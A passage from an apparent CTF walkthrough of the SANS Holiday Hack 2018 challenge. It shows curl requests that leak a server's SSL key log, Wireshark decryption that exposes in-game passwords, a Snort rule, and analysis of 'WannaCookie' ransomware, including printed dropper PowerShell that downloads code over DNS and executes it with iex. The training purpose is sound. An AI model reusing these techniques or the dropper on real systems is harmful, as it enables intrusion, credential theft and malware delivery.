So, the first part of our path is upper-cased, and if an
environment variable exists with that name, it attempts to use
that as part of the path to our file. Let's try it. Searching for process.env
pulls up some Node.js documentation:
Figure 44: process.env documentation
Let's try accessing the PATH
environment variable:
$ curl -s 'https://packalyzer.kringlecastle.com/path/file' Error: ENOENT: no such file or directory, open '/opt/http2/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/file'
We received an error message, but one which discloses some
information. Let's try to unpack this, given that we have the
source for how the filename was built. First, let's identify exactly which part is our PATH
. We can check this on a Cranberry Pi terminal, as a point of comparison:
elf@cranpi:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Reading our error message carefully, we can identify all three variables that combined to form the filename:
| Value | Variable |
|---|---|
/opt/http2 |
__dirname |
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin |
process.env[dir] (PATH) |
/file |
filename |
At this point, we need to recover the environment variables DEV
and SSLKEYLOGFILE
, which are referenced in key_log_path =
__dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
:
$ curl -s 'https://packalyzer.kringlecastle.com/dev/file' Error: ENOENT: no such file or directory, open '/opt/http2/dev//file' $ curl -s 'https://packalyzer.kringlecastle.com/sslkeylogfile/file' Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/file'
From this, we can deduce that DEV
is /dev/
and SSLKEYLOGFILE
is packalyzer_clientrandom_ssl.log
. We've already figured out
__dirname
, so our key_log_path
would've been
/opt/http2/dev/packalyzer_clientrandom_ssl.log
. We just need to
figure out how to access that via the webserver. We've already
noted that we can access files from
https://packalyzer.kringlecastle.com/pub/, so let's get the full
path of that by generating an error message for a non-existant
file:
curl -s 'https://packalyzer.kringlecastle.com/pub/passwords' Error: ENOENT: no such file or directory, open '/opt/http2/pub//passwords'
Great! The files we're accessing are from /opt/http2/pub
, so /opt/http2/dev
should be just as easy to access:
$ curl -sv -o packalyzer_clientrandom_ssl.log 'https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log' ... < HTTP/2 200 < set-cookie: PASESSION=6184281170062926003382193748323381 < content-type: text/plain < content-length: 38896 < date: Sun, 13 Jan 2019 17:32:29 GMT < { [16384 bytes data]
Great! We've successfully downloaded the file.
Solution Part 2: Decrypting the Traffic
We've run through most of SugarPlum's hints in order to recover the SSL Key Logfile. As a reminder, she also told us:
I'm hoping these errors can't be used to compromise SSL on the website and steal logins.
On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew HTTP2 was so different!
We already used Chris Elgee's video for the CURLing Master terminal, and it made no mention of using HTTP2 to compromise SSL. The other video is Chris Davis, HTTP/2: Decryption and Analysis in Wireshark, which sounds perfect.
The first part of the talk discusses how to create the SSL Key Logfile using curl and Chrome. This seems like what we just recovered from the system, only that it was generated server-side instead of client-side. The talk also mentions how we can use this file to decrypt the SSL traffic in Wireshark. In order to do that, we need a PCAP, though. Perhaps a new PCAP from the Packalyzer web interface?
The comment in the server-side source code warned us that the key log only stores a few minutes worth at a time. The server can't log keys ahead of time, so our workflow should be:
- Sniff traffic on Packalyzer, to generate a new PCAP.
- Download the SSL key logfile
- Download the capture
- Attempt to decrypt the SSL traffic in the capture with the key logfile.
For step 4, we just continue following along with Chris's video. First, we configure the Wireshark SSL protocol analyzer to use our freshly downloaded key logfile:
Figure 45: Configuring Wireshark SSL protocol analyzer
It worked! We can now see some HTTP2 traffic:
Figure 46: Wireshark HTTP2 overview
As a reminder, our goal is to steal logins, and ultimately access
a document sent from Holly to Alabaster. To start, we'll filter
out just HTTP2 traffic, using the http2
display filter:
Figure 47: Wireshark with http2 filter
We immediately see a HTTP POST
request to /api/login
, which
seems promising. Chris's video has a very similar request, and he
points out that to get the actual username and password, we need
to look at a different frame in the packet capture. We'll combine
two of Chris's example filters into http2.header.value == "POST" or http2.data.data
, and then we can find some credentials:
Figure 48: Wireshark with http2 POST filter
We've found Pepper's credentials. Can we find anyone else's? To
speed up this analysis a bit, we're going to add some custom
fields to the Wireshark display. Either by right-clicking on the column headers and going to Column Preferences...
or by going to Preferences
→ Appearance
→ Columns
. We'll add two custom columns for JSON keys and values:
Figure 49: Wireshark custom columns
Finally, we'll filter our PCAP to display frames which have a JSON key of "password":
Figure 50: Wireshark with json filter
Bingo!
| Username | Password |
|---|---|
| pepper | Shiz-Bamer_wabl182 |
| alabaster | Packer-p@re-turntable192 |
We've followed all the hints, but ultimately, we're looking for a document. The HTTP2 traffic we're seeing in this PCAP looks like the Packalyzer website itself, so we're presuming the credentials are for that. Since we know the document was sent to Alabaster, let's start with his credentials, and try logging into Packalyzer:
Figure 51: Successful login as Alabaster
Opening up the captures associated with Alabaster's account, we
find the tantalizingly named super_secret_packet_capture.pcap
. We'll grab it and open it up in Wireshark again. A good way to get a quick overview of a PCAP in Wireshark is to use Statistics
→ Protocol Hierarchy
:
Figure 52: Super secret protocol hierarchy
It looks like the only thing Wireshark found in this
PCAP is SMTP (e-mail) traffic. Note that it's not
listed as 100%, since some packets are simply TCP control packets. We'll filter on smtp
:
Figure 53: Super secret SMTP
We immediately see an e-mail from Holly to Alabaster. Looks like
we're on the right track… Now we just need to find and extract
the document. To get a better look at the data, we can right click
on one of the frames, and select Follow
→ TCP Stream
. A
new window pops up:
Figure 54: Super secret e-mail
Holly says:
Hey alabaster,
Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.
What follows is the attachment:
------=_MIME_BOUNDARY_000_11181 Content-Type: application/octet-stream Content-Transfer-Encoding: BASE64 Content-Disposition: attachment JVBERi0xLjUKJb/3ov4KOCAwIG9iago8PCAvTGluZWFyaXplZCAxIC9MIDk3ODMxIC9IIFsgNzM4 IDE0MCBdIC9PIDEyIC9FIDc3MzQ0IC9OIDIgL1QgOTc1MTcgPj4KZW5kb2JqCiAgICAgICAgICAg
We can see that the attachment is encoded as base64, so we can copy and paste the data, and then decode it with:
$ cat obj8_attachment.b64 | base64 --decode > obj8_attachment $ file obj8_attachment obj8_attachment: PDF document, version 1.5 $ mv obj8_attachment obj8_attachment.pdf
The attachment is a PDF, so we'll rename it accordingly. Opening the document gives us our answer:
Figure 55: Super secret song
Answer:
Mary Had a Little Lamb
We also note that this document walks us through how to transcribe a song from one key to another.
Ransomware Recovery
Goal
Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks.
Background
- Location
To access these challenges, you need to have gotten access to Santa's Secret Room, either by bypassing the QR code Scan-O-Matic, or by crawling through the vents.
- Terminal Challenge
For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.
- Badge Hint
Once we help Shinny win the Sleigh Bell Lottery, he gives us several hints. As this grand challenge is really a multi-part exercise, we'll break it down by question.
Phase 1: Catch the Malware
- Goal
Assist Alabaster by building a Snort filter to identify the malware plaguing Santa's Castle.
- Background
In Santa's secret room, we find a few terminals and Alabaster Snowball. Alabaster asks us for help:
Help, all of our computers have been encrypted by ransomware!
I came here to help but got locked in 'cause I dropped my "Alabaster Snowball" badge in a rush.
I started analyzing the ransomware on my host operating system, ran it by accident, and now my files are encrypted!
Unfortunately, the password database I keep on my computer was encrypted, so now I don't have access to any of our systems.
If only there were some way I could create some kind of traffic filter that could alert anytime ransomware was found!
We launch the Snort Challenge terminal. Opening it up, we see the following message:
INTRO: Kringle Castle is currently under attacked by new piece of ransomware that is encrypting all the elves files. Your job is to configure snort to alert on ONLY the bad ransomware traffic. GOAL: Create a snort rule that will alert ONLY on bad ransomware traffic by adding it to snorts /etc/snort/rules/local.rules file.  Check out ~/more_info.txt for additional information.
Looking at
more_info.txt
, we see:MORE INFO: A full capture of DNS traffic for the last 30 seconds is constantly updated to: /home/elf/snort.log.pcap You can also test your snort rule by running: snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf This will create an alert file at ~/snort_logs/alert This sensor also hosts an nginx web server to access the last 5 minutes worth of pcaps for offline analysis. These can be viewed by logging into: http://snortsensor1.kringlecastle.com/ Using the credentials: ---------------------- Username | elf Password | onashelf tshark and tcpdump have also been provided on this sensor. HINT: Malware authors often user dynamic domain names and IP addresses that change frequently within minutes or even seconds to make detecting and block malware more difficult. As such, its a good idea to analyze traffic to find patterns and match upon these patterns instead of just IP/domains.
To summarize, we need to edit
/etc/snort/rules/local.rules
and add a rule to detect the malware, but not alert on legitimate traffic. To test our rule, we can runsnort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf
. - Solution
Let's start by taking a look at
local.rules
:elf@snort:~$ cat /etc/snort/rules/local.rules # $Id: local.rules,v 1.11 2004/07/23 20:15:44 bmc Exp $ # ---------------- # LOCAL RULES # ---------------- # This file intentionally does not come with signatures. Put your local # additions here.
No rules in there yet. Let's check out the DNS traffic and determine what we need to alert on.
We're told that we also have a PCAP file with 30 seconds of traffic. For digging into the PCAP, we can get some hints from Mike Poor's KringleCon talk. One of the tools mentioned is
tshark
, which we're told is on this system. The Snort system doesn't have manual pages installed, but if we runtshark -h
, we see some useful help output:elf@snort:~$ tshark -h TShark (Wireshark) 2.6.4 (Git v2.6.4 packaged as 2.6.4-2~ubuntu16.04.0) Dump and analyze network traffic. See https://www.wireshark.org for more information. Usage: tshark [options] ... ... Input file: -r <infile> set the filename to read from (- to read from stdin)
Let's just try reading the PCAP, and see what we're working with:
elf@snort:~$ tshark -r snort.log.pcap 1 0.000000 <IP_ADDRESS> ? <IP_ADDRESS> DNS 88 Standard query 0x16ce TXT chases.loliginidae.enshrinement.office.com 2 0.010196 <IP_ADDRESS> ? <IP_ADDRESS> DNS 151 Standard query response 0x16ce TXT chases.loliginidae.enshrinement.office.com TXT 3 0.020420 <IP_ADDRESS> ? <IP_ADDRESS> DNS 99 Standard query 0xc933 TXT 77616E6E61636F6F6B69652E6D696E2E707331.bgerushnra.org 4 0.030638 <IP_ADDRESS> ? <IP_ADDRESS> DNS 167 Standard query response 0xc933 TXT 77616E6E61636F6F6B69652E6D696E2E707331.bgerushnra.org TXT 5 0.040846 <IP_ADDRESS> ? <IP_ADDRESS> DNS 99 Standard query 0x0fd6 TXT 77616E6E61636F6F6B69652E6D696E2E707331.egrbnahurs.com 6 0.051062 <IP_ADDRESS> ? <IP_ADDRESS> DNS 167 Standard query response 0x0fd6 TXT 77616E6E61636F6F6B69652E6D696E2E707331.egrbnahurs.com TXT 7 0.061313 <IP_ADDRESS> ? <IP_ADDRESS> DNS 101 Standard query 0xf013 TXT 0.77616E6E61636F6F6B69652E6D696E2E707331.egrbnahurs.com
The output of the command is rather verbose, and looks like an intimidating wall of text.
We see a number of DNS TXT queries (
Standard query 0x.... TXT
) and responses (Standard query response 0x.... TXT
). At this point, we could use standard Linux tools (e.g.grep
,cut
,awk
) to start analyzing the queries, buttshark
can do some advanced analysis itself. The output format isn't the most helpful, so by consulting the tshark man page, we can create a command which only shows the DNS query name, and doesn't print DNS responses (which would cause each query to be printed twice):tshark -r snort.log.pcap -T fields -e dns.qry.name -Y 'dns.flags.response == 0'
To make it easier to see what's going on, we can take the above command and pipe it to sort, by appending
|sort
. Some of the results are:... 63.77616E6E61636F6F6B69652E6D696E2E707331.rgeubr.net 7.77616E6E61636F6F6B69652E6D696E2E707331.hgerasnrub.com 7.77616E6E61636F6F6B69652E6D696E2E707331.rgeubr.net 77616E6E61636F6F6B69652E6D696E2E707331.hgerasnrub.com 77616E6E61636F6F6B69652E6D696E2E707331.rgeubr.net 8.77616E6E61636F6F6B69652E6D696E2E707331.hgerasnrub.com 8.77616E6E61636F6F6B69652E6D696E2E707331.rgeubr.net 9.77616E6E61636F6F6B69652E6D696E2E707331.hgerasnrub.com 9.77616E6E61636F6F6B69652E6D696E2E707331.rgeubr.net allsopp.concretized.bronzed.google.co.uk amixia.reinducing.twitter.com anthon.loliginidae.myxomata.amazon.com asked.diddlers.vk.com ...
It seems like we have two types of queries: HEX_DIGITS.suspicious_domain_name and RANDOM_WORDS.well_known_domain_name. Taking it a step further, we notice that the suspicious queries are of the form:
<Optional Number>.77616E6E61636F6F6B69652E6D696E2E707331.<Domain Name>
A closer look at the domain names reveals something interesting…
rgeubr.net
is an anagram forgruber.net
andhgerasnrub.com
is an anagram forhansgruber.net
.What about the
776...
sequence? We tried decoding it as base64, but that didn't work. It turns out it's just hex-encoded:elf@snort:~$ echo '77616E6E61636F6F6B69652E6D696E2E707331' | xxd -r -p wannacookie.min.ps1
It seems something is querying
<chunk>.<wannacookie.min.ps1>.<Hans Gruber's domains>
. Certainly looks suspicious…We'll start by editing
local.rules
with the following rule:alert udp any any <> any 53 ( content:"77616E6E61636F6F6B69652E6D696E2E707331"; )
Our task is to alert on the traffic, so we'll use the
alert
keyword. The traffic in the PCAP is destined to a DNS server on UDP port 53. However, the source IP, source port, and destination IP all seem random. So we'll use "any any" for the source IP and port, and "any 53" for the destination IP and port.The
<>
characters configure our rule to alert on both the request and response. There are some trade-offs for alerting on the response (increased false-positive rate, but also an increased chance to detect compromised hosts).Finally, we're looking for our hex-encoded "wannacookie.min.ps1" string.
Once we add this rule, we get the following message:
[i] Snort is not alerting on all ransomware!
more_info.txt
did give us a command line to test our rules, so we can try that:elf@snort:~$ snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf ... Initializing rule chains... ERROR: /etc/snort/rules/local.rules(1) Each rule must contain a rule sid. Fatal Error, Quitting..
Oops. It seems like sids of at least 1,000,000 are reserved for local rules, so we'll use that. The Snort manual also tells us to use a revision number in our rule.
alert udp any any <> any 53 ( content:"77616E6E61636F6F6B69652E6D696E2E707331"; sid: 1000000; rev: 1)
With this rule in place, we're told:
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware!
Answer:
Snort is alerting on all ransomware and only the ransomware
- Refining the Snort rule
Our rule works, but is not a great rule. Any UDP content that has that string anywhere in the packet will trigger the rule.
DNS uses a special method to encode the query name on the wire. Each portion of the DNS name (the "labels"), are prefixed with the length of that label, with an empty label at the end. So, "www.es.net" would be encoded as
|03|www|02|es|03|net|00|
.We can rewrite a better rule as:
alert udp any any <> any 53 ( content:"|26|77616E6E61636F6F6B69652E6D696E2E707331"; msg: "WannaCookie!"; nocase; sid: 1000000; rev: 1)
We're also adding the
nocase
option, to make our match case-insensitive.
- Refining the Snort rule
Phase 2: Identify the Domain
- Goal
Using the Word docm file, identify the domain name that the malware communicates with.
- Background
- Elf Chat
Checking back in with Alabster, he says:
Thank you so much! Snort IDS is alerting on each new ransomware infection in our network.
Hey, you're pretty good at this security stuff. Could you help me further with what I suspect is a malicious Word document?
All the elves were emailed a cookie recipe right before all the infections. Take this document with a password of elves and find the domain it communicates with.
Also, Shinny tells us:
Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie?
Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted.
Many elves were affected, so Alabaster went to go see if he could help out.
I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer.
- Badge Hint
We have the following hints from Shinny and Alabaster:
Whoa, Chris Davis' talk on PowerShell malware is crazy pants! You should check it out!
Word docm macros can be extracted using olevba. Perhaps we can use this to grab the ransomware source.
- Relevant KringleCon Videos
- Elf Chat
- Solution
Downloading the document, we hit a snag in extracting it. It seems like
unzip
and Apple's Archive Viewer don't support the format. We end up using p7zip, which can successfully extract it with the password provided, and we find a Word docm file. This seems to be a macro-enabled document file.Learning from Alabaster's mistake, we're going to watch Chris's video first, and follow along. Chris's following tip seems especially relevant for Alabaster, in hindsight:
Never run or analyze malware from your host or host environment
After covering some basic Operational Security best practices, Chris starts talking about a malicious Word document, just like the one we were given. The first tool he uses is
olevba
.  We can see that it's trying to run some commands with Powershell, but the commands are obfuscated. Following along in Chris's video, we see many similarities with his example and our chocolate chip cookie recipe. To deobfuscate this command, we'll remove theiex
call (Invoke-Expression), and save the output todropper.ps1
. We'll write this as a script, to make it a bit easier to read:sal a New-Object; $command = 'lVHRSsMwFP2VSwksYUtoW...REohG'; (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($command), [IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() | Out-File dropper.ps1
Now we can run it, and verify that we have our file:
PS C:\Users\Administrator\Desktop> powershell.exe -ExecutionPolicy Bypass .\cookie_macro.ps1 PS C:\Users\Administrator\Desktop> dir .\dropper.ps1 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/13/2019 9:11 PM 900 dropper.ps1
Great! Now let's examine
dropper.ps1
:function H2A($a) { $o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o; }; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) { $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings }; iex($(H2A $h | Out-string))
Even after some cleanup, the code is hard to read, but we clearly see the domain:
Answer:
erohetfanu.com
Why… that's one of the domains we found in our pre-conference recon! But what does it mean?
>>> import codecs >>> codecs.encode('erohetfanu', 'rot_13') 'reburgsnah' >>> _[::-1] 'hansgruber'
Well, if it isn't "hansgruber" backwards, and ROT-13 encoded! That solves one mystery that's been bugging us since before the conference even started!
Phase 3: Stop the Malware
- Goal
Identify a way to stop the malware in its tracks!
- Background
- Elf Chat
Shinny told us:
An elf I follow online said he analyzed Wannacookie and that it communicates over DNS.
Alabaster says:
Erohetfanu.com, I wonder what that means? Unfortunately, Snort alerts show multiple domains, so blocking that one won't be effective.
I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any further infections.
Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal flaw and activate it!
- Badge Hint
We have a couple of hints from Alabaster:
I think I remember reading an article recently about Ransomware Kill Switchs. Wouldn't it be nice if our ransomware had one!
wannacookie.min.ps1? I wonder if there is a non-minified version? If so, it may be easier to read and give us more information and maybe source comments?
The article tells us:
By relying on a static, discoverable address, whoever found it—in this case MalwareTech—could just register the domain and trigger WannaCry's shutdown defense.
- Elf Chat
- Solution
At the end of Phase 2, we recovered a snippet that does something over DNS:
$f = "77616E6E61636F6F6B69652E6D696E2E707331"; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) { $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings };
We see that the first DNS query is actually in the
foreach
line itself:Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT
We expect this to return a number, as it's being convert to a 32-bit integer, as base 10. We recognize
77616E6E61636F6F6B69652E6D696E2E707331
from the PCAPs on the Snort system, and we already found that it's a hex-encoded "wannacookie.min.ps1". Let's see what's being sent over DNS:PS > $f = "77616E6E61636F6F6B69652E6D696E2E707331"; PS > (Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings 64
As expected, the first top-level query returned a number. Next, the script would start to loop over queries for
0.$f.erohetfanu.com
,1.$f.erohetfanu.com
, up to the63.$f.erohetfanu.com
. Let's see what those look like:PS > (Resolve-DnsName -Server erohetfanu.com -Name "0.$f.erohetfanu.com" -Type TXT).strings 2466756e6374696f6e73203d207b66756e6374696f6e20655f645f66696c6528246b65792c202446696c652c2024656e635f69742920 7b5b627974655b5d5d246b6579203d20246b65793b24537566666978203d2022602e77616e6e61636f6f6b6965223b5b53797374656d 2e5265666c656374696f6e2e417373656d626c
Looks like more encoded content. We notice that the script was passing this output to a function,
H2A
:$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings }; iex($(H2A $h | Out-string))
It would stand to reason that this is once again hex-encoded, and
H2A
is short for "hex to ASCII."PS > function H2A($a) { >> $o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; >> return $o; >> }; PS > H2A((Resolve-DnsName -Server erohetfanu.com -Name "0.$f.erohetfanu.com" -Type TXT).strings) $functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembl
We decoded it, and recovered Powershell code. This was expected, as
Invoke-Expression
(iex
) executes Powershell code. It seems as if the 64 queries are simply chunks of the same file. Let's see if we can recover it all:PS > $h = ""; PS > foreach ($i in 0..63) { >> $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings >> }; PS > H2A($h) | Out-File wannacookie.min.ps1 PS > dir .\wannacookie.min.ps1 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/13/2019 9:43 PM 16034 wannacookie.min.ps1
Inspecting the file, it looks like we've managed to download the entire file, just over DNS.
Hans seems to have setup his DNS server to make life a bit harder for security researchers, as by default, the queries only work from Windows clients. Chris suggests modifying the attacker's code whenever possible, and not following his advice bit us. Many Linux DNS query tools default to using Extended DNS options (EDNS), which is needed to support DNSSEC. When querying from a tool such as
dig
, we needed to add the+noedns
option in order to get a reply.Alabaster hints at there being a non-minified version of the file.
PS > 'wannacookie.ps1' | Format-Hex 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 77 61 6E 6E 61 63 6F 6F 6B 69 65 2E 70 73 31 wannacookie.ps1 PS > $f = '77616e6e61636f6f6b69652e707331'; PS > (Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings 84 PS > $h = ''; PS > foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) { >> $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings >> }; >> PS > H2A($h) | Out-File wannacookie.ps1 PS > dir .\wannacookie.* Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/13/2019 9:43 PM 16034 wannacookie.min.ps1 -a---- 1/13/2019 11:28 PM 21090 wannacookie.ps1
We successfully recovered a file, which is larger than the minified version. Let's start investigating it. There's a lot going on here, with several functions. We can infer a lot just from the function names, and what system calls the functions make:
Function Name Purpose Notes Enc_Dec-File Encrypt/Decrypt file? H2B Hex to something ? A2H ASCII to Hex H2A Hex to ASCII Matches the dropper H2A B2H Something to Hex ? (Inverse of H2B?) ti_rox XOR This is "xor_it" backwards! B2G GZIP compress Calls GzipStream with Compress G2B GZIP decompress Calls GzipStream with Decompress Sha1 SHA1 Hash Calls SHA1 ComputeHash Pub_Key_Enc Encrypt with X509 Public Key Calls PublicKey Encrypt get_over_dns Download a file over DNS Matches code in the dropper wannacookie Main function? Calls most other functions Again, Chris suggests just adapting this code to investigate it, rather than trying to replicate it ourselves. Before we make any changes, though, we'll make sure to backup the original file.
At the very bottom of the file, we see that the file calls
wannacookie
. We can comment out that line, and now we can load the file without anything executing. We're also working in an isolated virtual machine, just in case we pull an Alabaster. Once the file is loaded, we'll start going through the logic of thewannacookie
function, slowly enough so as to understand what each component does:PS > Import-Module .\wannacookie_defused.ps1 PS > $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
However, very quickly we reach a line that's difficult to understand. It looks like it's doing a DNS query, but what it's actually querying is very difficult to parse. Tracing these parentheses is almost as difficult as in Lisp! Reading the line carefully, we see that it's doing two DNS TXT queries. One is trivial to rerun:
PS > $inner_query = $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings; PS > $inner_query<PHONE_NUMBER>7869657268667865666B73 PS > H2A($inner_query); ffrrrxierhfxefks
Still obfuscated. But what is the domain it's trying?
PS > H2A "6B696C6C737769746368" killswitch
We're on the right track! We can now continue untangling this line, as we work our way out:
PS > $xor_result = $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $inner_query)) PS > $xor_result<PHONE_NUMBER>656b697961612e61616179 PS > $(H2A $xor_result) yippeekiyaa.aaay
Our line now looks like:
if ( $null -ne (Resolve-DnsName -Name "yippeekiyaa.aaay" -ErrorAction 0 -Server <IP_ADDRESS>) ) { return }
So, this code tries to lookup "yippeekiyaa.aaay" via Google's <IP_ADDRESS> DNS server. If it gets a result, it just returns. We seem to have found our kill switch. The WannaCry article discussed how a researcher registered the killswitch domain in order to stop it in its tracks. We've also noticed the "HoHoHoDaddy" terminal, which brings up a domain registration page. If we enter our domain, we get:
Figure 56: Killswitch registered
Answer:
yippeekiyaa.aaay
Phase 4: Recover Alabaster's Password
- Goal
Recover Alabaster's password as found in the the encrypted password vault.
- Background
- Elf Chat
Alabaster says:
Yippee-Ki-Yay! Now, I have a ma… kill-switch!
Now that we don't have to worry about new infections, I could sure use your L337 security skills for one last thing.
As I mentioned, I made the mistake of analyzing the malware on my host computer and the ransomware encrypted my password database.
Take this zip with a memory dump and my encrypted password database, and see if you can recover my passwords.
One of the passwords will unlock our access to the vault so we can get in before the hackers.
We also have the following hints from Shinny:
He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.
Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie!
Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt.
Perhaps there is a flaw in the wannacookie author's DNS server that we can manipulate to retrieve what we need.
If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.
- Badge Hint
We have a hint that we haven't used yet:
Pulling strings from a memory dump using the linux strings command requires you specify the -e option with the specific format required by the OS and processor. Of course, you could also use powerdump.
- Elf Chat
- Solution
Opening the zip reveals two files:
alabaster_passwords.elfdb.wannacookie
andpowershell.exe_181109_104716.dmp
. To solve this, we really need to understand the Powershell script better. After some analysis, we can trace the main code flow:Figure 57: WannaCookie Flowchart
At this point, Shinny's hints make more sense. We observe the malware grabbing a public key over DNS (
pub_key
). The files are then encrypted with a different, random encryption key (Byte_key
andHex_key
). Unfortunately,Byte_key
andHex_key
are cleared from memory, so we likely won't be able to find them in the memory dump. We notice thatByte_key
is encrypted withpub_key
and uploaded over DNS. Shinny's hint tells us that to decrypt the encryptedByte_key
, we need the private key.The public key was downloaded over DNS with the filename "server.crt". The Packalyzer also had a "server.crt" key, and its private key was stored in "server.key." Let's see if the malware author left that key sitting around:
PS > $f = $(A2H "server.key") PS > $(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings 14 PS > get_over_dns($f) | Out-File "server.key" PS > dir .\server.key Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/14/2019 2:59 AM 3470 server.key
Now that we have the private key, we need to recover the encrypted
Byte_key
. Before we can find it, we need to know the format it's in. Once again, we'll just execute some of the malware's code:PS > $pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) ) PS > $Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00}) PS > $Hex_key = $(B2H $Byte_key) PS > $Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString() PS > $Pub_key_encrypted_Key b2e41690920bef3262600cd0314fc4cf7213bddd113d7097a64f3097fbc4186029c0e3f3f132ac9e0d957899fd97e609 b60d405ba643bcc639cd640301dcc03c6c94aa279d1fe040f51cb9ac17cdcf0cede7cdd228674ab350a1f3441b2e39bc aa29c8d1bc33dd816a3d1b97adf6f3e725640af2fa9a8298968e3d255744a238b68f41928bf642ace04d64226e449e77 9a99bb4b4e8fd6625f4e022b9d5a16115ce7e74515c03f394c7a57fc37e29269b010f3d68588e83f1084b04c3800a26c 88a8e4161def1e015f31f78d15bec0272b5599edb17a3cea7c2c9980bdc6d508089d961c5702aff0d38be6b93c1d907c 62436695b0d66f09193534f0e104cdff PS > $Pub_key_encrypted_Key.length 512
So, we're looking for a 512-character long hex string. Our hint points us to powerdump, so let's give that a shot, continuing to follow along in Chris's video. Once we load and process the file, we can search for a string:
============ Main Menu ================ Memory Dump: powershell.exe_181109_104716.dmp Loaded : True Processed : True ======================================= 1. Load PowerShell Memory Dump File 2. Process PowerShell Memory Dump 3. Search/Dump Powershell Scripts 4. Search/Dump Stored PS Variables e. Exit : 4 [i] 10947 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : len == 512 ================ Filters ================ 1| LENGTH len(variable_values) == 512 [i] 1 powershell Variable Values found!
Well, that was easy. We didn't even need a regular expression for the hex-encoding, as there was only one variable of length 512.
